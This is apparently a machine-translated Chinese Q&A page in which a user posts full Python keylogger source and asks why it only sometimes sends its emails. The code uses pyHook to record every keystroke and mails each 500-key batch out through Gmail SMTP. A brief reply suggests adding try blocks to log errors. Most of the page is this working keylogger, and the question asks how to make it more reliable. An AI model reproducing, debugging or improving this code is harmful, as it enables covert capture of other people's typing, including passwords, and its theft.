Python 为什么我的小键盘记录器不发送一些电子邮件?

Python 为什么我的小键盘记录器不发送一些电子邮件?,python,smtplib,keylogger,pyhook,pythoncom,Python,Smtplib,Keylogger,Pyhook,Pythoncom,我写了一个简单的键盘记录器,每按500个键就发送一封电子邮件。以及它的工作原理。但它不可靠,有时电子邮件是发送的,但有时不是。比方说,我按下一个键1500次,这应该是3封500键记录的邮件。但我可以收到三封电子邮件,两封,一封或零封。。。取决于失败的原因。。。看看这个代码,你能说说为什么吗 import smtplib import pyHook import pythoncom class Keylogger: def __init__(self): self.ke

我写了一个简单的键盘记录器,每按500个键就发送一封电子邮件。以及它的工作原理。但它不可靠,有时电子邮件是发送的,但有时不是。比方说,我按下一个键1500次,这应该是3封500键记录的邮件。但我可以收到三封电子邮件,两封,一封或零封。。。取决于失败的原因。。。看看这个代码,你能说说为什么吗

import smtplib
import pyHook
import pythoncom

class Keylogger:

    def __init__(self):
        self.keylog = ''

    def OnKeyboardEvent(self, event):
        self.keylog += str(event.Key)
        if len(self.keylog) >= 500:  # Check size of the keystrokes captured
            # MAIL STUFF
            self.send_email('smtp.gmail.com', 587, 'your@email.com', 'yourpass', '%Keylogger Dump%', self.keylog)
            self.keylog = ''  # Reset keylog to capture new keystrokes
        return True

    def send_email(self, server, port, email, password, subject, body):
        session = smtplib.SMTP(server, port)
        session.ehlo()
        session.starttls()
        session.ehlo()
        session.login(email, password)

        headers = [
            "From: " + email,
            "Subject: " + subject,
            "To: " + email,
            "MIME-Version: 1.0",
            "Content-Type: text/html"
        ]
        headers = "\r\n".join(headers)

        session.sendmail(email, email, headers + "\r\n\r\n" + body)
        session.close()

if __name__ == '__main__':
    # Entry Point
    hook_manager = pyHook.HookManager()     # Create a new hook manager
    hook_manager.KeyDown = Keylogger().OnKeyboardEvent  # Assign the keydown event to our custom method
    hook_manager.HookKeyboard()             # Hook the keyboard events
    pythoncom.PumpMessages()                # Run forever

也许有人提出了一个例外。尝试将可疑行放入Try块,并记录发生的任何错误。嗯。。。我会尽可能打印stacktraces!谢谢你的建议!